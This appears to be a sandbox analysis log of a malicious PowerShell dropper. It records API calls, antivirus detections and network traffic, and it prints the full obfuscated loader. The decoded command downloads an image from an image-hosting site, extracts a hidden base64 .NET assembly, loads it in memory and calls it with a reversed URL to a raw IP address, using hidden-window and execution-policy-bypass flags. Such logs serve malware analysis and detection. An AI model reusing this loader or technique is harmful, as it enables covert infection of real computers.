Bk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶Cs◀▶PQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶LgBM◀▶GU◀▶bgBn◀▶HQ◀▶a◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bl◀▶G4◀▶Z◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶C◀▶◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶Ds◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BD◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBT◀▶HU◀▶YgBz◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶s◀▶C◀▶◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BM◀▶GU◀▶bgBn◀▶HQ◀▶a◀▶◀▶p◀▶Ds◀▶J◀▶Bj◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶QwBv◀▶G4◀▶dgBl◀▶HI◀▶d◀▶Bd◀▶Do◀▶OgBG◀▶HI◀▶bwBt◀▶EI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BD◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶Ck◀▶Ow◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶UgBl◀▶GY◀▶b◀▶Bl◀▶GM◀▶d◀▶Bp◀▶G8◀▶bg◀▶u◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQBd◀▶Do◀▶OgBM◀▶G8◀▶YQBk◀▶Cg◀▶J◀▶Bj◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶p◀▶Ds◀▶J◀▶B0◀▶Hk◀▶c◀▶Bl◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶b◀▶Bv◀▶GE◀▶Z◀▶Bl◀▶GQ◀▶QQBz◀▶HM◀▶ZQBt◀▶GI◀▶b◀▶B5◀▶C4◀▶RwBl◀▶HQ◀▶V◀▶B5◀▶H◀▶◀▶ZQ◀▶o◀▶Cc◀▶RgBp◀▶GI◀▶ZQBy◀▶C4◀▶S◀▶Bv◀▶G0◀▶ZQ◀▶n◀▶Ck◀▶Ow◀▶k◀▶G0◀▶ZQB0◀▶Gg◀▶bwBk◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶u◀▶Ec◀▶ZQB0◀▶E0◀▶ZQB0◀▶Gg◀▶bwBk◀▶Cg◀▶JwBW◀▶EE◀▶SQ◀▶n◀▶Ck◀▶Ow◀▶k◀▶GE◀▶cgBn◀▶HU◀▶bQBl◀▶G4◀▶d◀▶Bz◀▶C◀▶◀▶PQ◀▶g◀▶Cw◀▶K◀▶◀▶n◀▶HQ◀▶e◀▶B0◀▶C4◀▶N◀▶◀▶2◀▶GU◀▶cwBh◀▶GI◀▶ZQBs◀▶Gk◀▶ZgBk◀▶GU◀▶bQBt◀▶GE◀▶a◀▶Bv◀▶G0◀▶Lw◀▶z◀▶DY◀▶Lg◀▶z◀▶DM◀▶Lg◀▶y◀▶DQ◀▶Lg◀▶z◀▶Dk◀▶MQ◀▶v◀▶C8◀▶OgBw◀▶HQ◀▶d◀▶Bo◀▶Cc◀▶KQ◀▶7◀▶CQ◀▶bQBl◀▶HQ◀▶a◀▶Bv◀▶GQ◀▶LgBJ◀▶G4◀▶dgBv◀▶Gs◀▶ZQ◀▶o◀▶CQ◀▶bgB1◀▶Gw◀▶b◀▶◀▶s◀▶C◀▶◀▶J◀▶Bh◀▶HI◀▶ZwB1◀▶G0◀▶ZQBu◀▶HQ◀▶cw◀▶p◀▶◀▶=='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2724
thread_handle: 0x000002e8
process_identifier: 2720
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶1◀▶Dk◀▶Nw◀▶v◀▶DI◀▶Mw◀▶2◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶H◀▶◀▶cgBp◀▶HY◀▶YQBk◀▶GE◀▶LgBq◀▶H◀▶◀▶Zw◀▶/◀▶DE◀▶Ng◀▶5◀▶DM◀▶O◀▶◀▶0◀▶Dc◀▶M◀▶◀▶3◀▶D◀▶◀▶Jw◀▶7◀▶CQ◀▶dwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶TgBl◀▶Hc◀▶LQBP◀▶GI◀▶agBl◀▶GM◀▶d◀▶◀▶g◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶TgBl◀▶HQ◀▶LgBX◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C4◀▶R◀▶Bv◀▶Hc◀▶bgBs◀▶G8◀▶YQBk◀▶EQ◀▶YQB0◀▶GE◀▶K◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBV◀▶HI◀▶b◀▶◀▶p◀▶Ds◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶EU◀▶bgBj◀▶G8◀▶Z◀▶Bp◀▶G4◀▶ZwBd◀▶Do◀▶OgBV◀▶FQ◀▶Rg◀▶4◀▶C4◀▶RwBl◀▶HQ◀▶UwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶I◀▶◀▶9◀▶C◀▶◀▶Jw◀▶8◀▶Dw◀▶QgBB◀▶FM◀▶RQ◀▶2◀▶DQ◀▶XwBT◀▶FQ◀▶QQBS◀▶FQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶EY◀▶b◀▶Bh◀▶Gc◀▶I◀▶◀▶9◀▶C◀▶◀▶Jw◀▶8◀▶Dw◀▶QgBB◀▶FM◀▶RQ◀▶2◀▶DQ◀▶XwBF◀▶E4◀▶R◀▶◀▶+◀▶D4◀▶Jw◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶KQ◀▶7◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶TwBm◀▶Cg◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶Gc◀▶ZQ◀▶g◀▶D◀▶◀▶I◀▶◀▶t◀▶GE◀▶bgBk◀▶C◀▶◀▶J◀▶Bl◀▶G4◀▶Z◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶Gc◀▶d◀▶◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶Cs◀▶PQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶LgBM◀▶GU◀▶bgBn◀▶HQ◀▶a◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bl◀▶G4◀▶Z◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶C◀▶◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶Ds◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BD◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBT◀▶HU◀▶YgBz◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶s◀▶C◀▶◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BM◀▶GU◀▶bgBn◀▶HQ◀▶a◀▶◀▶p◀▶Ds◀▶J◀▶Bj◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶QwBv◀▶G4◀▶dgBl◀▶HI◀▶d◀▶Bd◀▶Do◀▶OgBG◀▶HI◀▶bwBt◀▶EI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BD◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶Ck◀▶Ow◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶UgBl◀▶GY◀▶b◀▶Bl◀▶GM◀▶d◀▶Bp◀▶G8◀▶bg◀▶u◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQBd◀▶Do◀▶OgBM◀▶G8◀▶YQBk◀▶Cg◀▶J◀▶Bj◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶p◀▶Ds◀▶J◀▶B0◀▶Hk◀▶c◀▶Bl◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶b◀▶Bv◀▶GE◀▶Z◀▶Bl◀▶GQ◀▶QQBz◀▶HM◀▶ZQBt◀▶GI◀▶b◀▶B5◀▶C4◀▶RwBl◀▶HQ◀▶V◀▶B5◀▶H◀▶◀▶ZQ◀▶o◀▶Cc◀▶RgBp◀▶GI◀▶ZQBy◀▶C4◀▶S◀▶Bv◀▶G0◀▶ZQ◀▶n◀▶Ck◀▶Ow◀▶k◀▶G0◀▶ZQB0◀▶Gg◀▶bwBk◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶u◀▶Ec◀▶ZQB0◀▶E0◀▶ZQB0◀▶Gg◀▶bwBk◀▶Cg◀▶JwBW◀▶EE◀▶SQ◀▶n◀▶Ck◀▶Ow◀▶k◀▶GE◀▶cgBn◀▶HU◀▶bQBl◀▶G4◀▶d◀▶Bz◀▶C◀▶◀▶PQ◀▶g◀▶Cw◀▶K◀▶◀▶n◀▶HQ◀▶e◀▶B0◀▶C4◀▶N◀▶◀▶2◀▶GU◀▶cwBh◀▶GI◀▶ZQBs◀▶Gk◀▶ZgBk◀▶GU◀▶bQBt◀▶GE◀▶a◀▶Bv◀▶G0◀▶Lw◀▶z◀▶DY◀▶Lg◀▶z◀▶DM◀▶Lg◀▶y◀▶DQ◀▶Lg◀▶z◀▶Dk◀▶MQ◀▶v◀▶C8◀▶OgBw◀▶HQ◀▶d◀▶Bo◀▶Cc◀▶KQ◀▶7◀▶CQ◀▶bQBl◀▶HQ◀▶a◀▶Bv◀▶GQ◀▶LgBJ◀▶G4◀▶dgBv◀▶Gs◀▶ZQ◀▶o◀▶CQ◀▶bgB1◀▶Gw◀▶b◀▶◀▶s◀▶C◀▶◀▶J◀▶Bh◀▶HI◀▶ZwB1◀▶G0◀▶ZQBu◀▶HQ◀▶cw◀▶p◀▶◀▶=='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002f0
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶1◀▶Dk◀▶Nw◀▶v◀▶DI◀▶Mw◀▶2◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶H◀▶◀▶cgBp◀▶HY◀▶YQBk◀▶GE◀▶LgBq◀▶H◀▶◀▶Zw◀▶/◀▶DE◀▶Ng◀▶5◀▶DM◀▶O◀▶◀▶0◀▶Dc◀▶M◀▶◀▶3◀▶D◀▶◀▶Jw◀▶7◀▶CQ◀▶dwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶TgBl◀▶Hc◀▶LQBP◀▶GI◀▶agBl◀▶GM◀▶d◀▶◀▶g◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶TgBl◀▶HQ◀▶LgBX◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C4◀▶R◀▶Bv◀▶Hc◀▶bgBs◀▶G8◀▶YQBk◀▶EQ◀▶YQB0◀▶GE◀▶K◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBV◀▶HI◀▶b◀▶◀▶p◀▶Ds◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶EU◀▶bgBj◀▶G8◀▶Z◀▶Bp◀▶G4◀▶ZwBd◀▶Do◀▶OgBV◀▶FQ◀▶Rg◀▶4◀▶C4◀▶RwBl◀▶HQ◀▶UwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶I◀▶◀▶9◀▶C◀▶◀▶Jw◀▶8◀▶Dw◀▶QgBB◀▶FM◀▶RQ◀▶2◀▶DQ◀▶XwBT◀▶FQ◀▶QQBS◀▶FQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶EY◀▶b◀▶Bh◀▶Gc◀▶I◀▶◀▶9◀▶C◀▶◀▶Jw◀▶8◀▶Dw◀▶QgBB◀▶FM◀▶RQ◀▶2◀▶DQ◀▶XwBF◀▶E4◀▶R◀▶◀▶+◀▶D4◀▶Jw◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶KQ◀▶7◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶TwBm◀▶Cg◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶Gc◀▶ZQ◀▶g◀▶D◀▶◀▶I◀▶◀▶t◀▶GE◀▶bgBk◀▶C◀▶◀▶J◀▶Bl◀▶G4◀▶Z◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶Gc◀▶d◀▶◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶Cs◀▶PQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶LgBM◀▶GU◀▶bgBn◀▶HQ◀▶a◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bl◀▶G4◀▶Z◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶C◀▶◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶Ds◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BD◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBT◀▶HU◀▶YgBz◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶s◀▶C◀▶◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BM◀▶GU◀▶bgBn◀▶HQ◀▶a◀▶◀▶p◀▶Ds◀▶J◀▶Bj◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶QwBv◀▶G4◀▶dgBl◀▶HI◀▶d◀▶Bd◀▶Do◀▶OgBG◀▶HI◀▶bwBt◀▶EI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BD◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶Ck◀▶Ow◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶UgBl◀▶GY◀▶b◀▶Bl◀▶GM◀▶d◀▶Bp◀▶G8◀▶bg◀▶u◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQBd◀▶Do◀▶OgBM◀▶G8◀▶YQBk◀▶Cg◀▶J◀▶Bj◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶p◀▶Ds◀▶J◀▶B0◀▶Hk◀▶c◀▶Bl◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶b◀▶Bv◀▶GE◀▶Z◀▶Bl◀▶GQ◀▶QQBz◀▶HM◀▶ZQBt◀▶GI◀▶b◀▶B5◀▶C4◀▶RwBl◀▶HQ◀▶V◀▶B5◀▶H◀▶◀▶ZQ◀▶o◀▶Cc◀▶RgBp◀▶GI◀▶ZQBy◀▶C4◀▶S◀▶Bv◀▶G0◀▶ZQ◀▶n◀▶Ck◀▶Ow◀▶k◀▶G0◀▶ZQB0◀▶Gg◀▶bwBk◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶u◀▶Ec◀▶ZQB0◀▶E0◀▶ZQB0◀▶Gg◀▶bwBk◀▶Cg◀▶JwBW◀▶EE◀▶SQ◀▶n◀▶Ck◀▶Ow◀▶k◀▶GE◀▶cgBn◀▶HU◀▶bQBl◀▶G4◀▶d◀▶Bz◀▶C◀▶◀▶PQ◀▶g◀▶Cw◀▶K◀▶◀▶n◀▶HQ◀▶e◀▶B0◀▶C4◀▶N◀▶◀▶2◀▶GU◀▶cwBh◀▶GI◀▶ZQBs◀▶Gk◀▶ZgBk◀▶GU◀▶bQBt◀▶GE◀▶a◀▶Bv◀▶G0◀▶Lw◀▶z◀▶DY◀▶Lg◀▶z◀▶DM◀▶Lg◀▶y◀▶DQ◀▶Lg◀▶z◀▶Dk◀▶MQ◀▶v◀▶C8◀▶OgBw◀▶HQ◀▶d◀▶Bo◀▶Cc◀▶KQ◀▶7◀▶CQ◀▶bQBl◀▶HQ◀▶a◀▶Bv◀▶GQ◀▶LgBJ◀▶G4◀▶dgBv◀▶Gs◀▶ZQ◀▶o◀▶CQ◀▶bgB1◀▶Gw◀▶b◀▶◀▶s◀▶C◀▶◀▶J◀▶Bh◀▶HI◀▶ZwB1◀▶G0◀▶ZQBu◀▶HQ◀▶cw◀▶p◀▶◀▶=='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
filepath: powershell
1 1 0

CreateProcessInternalW

 thread_identifier: 2896
thread_handle: 0x00000448
process_identifier: 2892
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/597/236/original/rump_privada.jpg?1693847070';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.46esabelifdemmahom/36.33.24.391//:ptth');$method.Invoke($null, $arguments)"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x0000044c
1 1 0
Avast VBS:Malware-gen
Kaspersky HEUR:Trojan.Script.Generic
AVG VBS:Malware-gen
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received [
Data received We ‘ åÍP’¾Å•:͉=F݅¸$¹hDOWNGRD lLÜøÑ.í´ceápyµÙd6<±bõÏob•”±À ÿ 
Data received P
Data received ’
Data received ŽApr‹­Ó·¢:¿‘Q_FíÛÉ°5Œ1®b¸ù¼’? ħ(°ÙŒ½L¡ga¢¯ —bñ²?°þ®AsG0E F‘èœIëL<ˆÿ»}þ®ìZ"KºgAr¼ØùN!Ñ(_ºæ üls©>×W ԎJ()#^ȺÝ
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received |υ•KíØéì×h T½E»G;[³®Û)=vx™§ÃHÏJÖPöAÍÌ©¨Rn™W¶
Data sent yue ÞOÖ¼‘w®{¹Y^³º0Ow ˜5/Û (ÅJ/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
Data sent FBAwžªÝ!ȍYÃxÞ𠛮`ê!!ûî‡ =Ýå9a«(˜!”!µ{f u'•÷þŒ¦ªm—ámºu—20ع%R£ü¡=VÝu—è¹K j5*ÊH5í­ßéZ‚î/µ™1M%!µ»HXKìå
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

send

 buffer: yue ÞOÖ¼‘w®{¹Y^³º0Ow ˜5/Û (ÅJ/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
socket: 1440
sent: 126
1 126 0

send

 buffer: FBAwžªÝ!ȍYÃxÞ𠛮`ê!!ûî‡ =Ýå9a«(˜!”!µ{f u'•÷þŒ¦ªm—ámºu—20ع%R£ü¡=VÝu—è¹K j5*ÊH5í­ßéZ‚î/µ™1M%!µ»HXKìå
socket: 1440
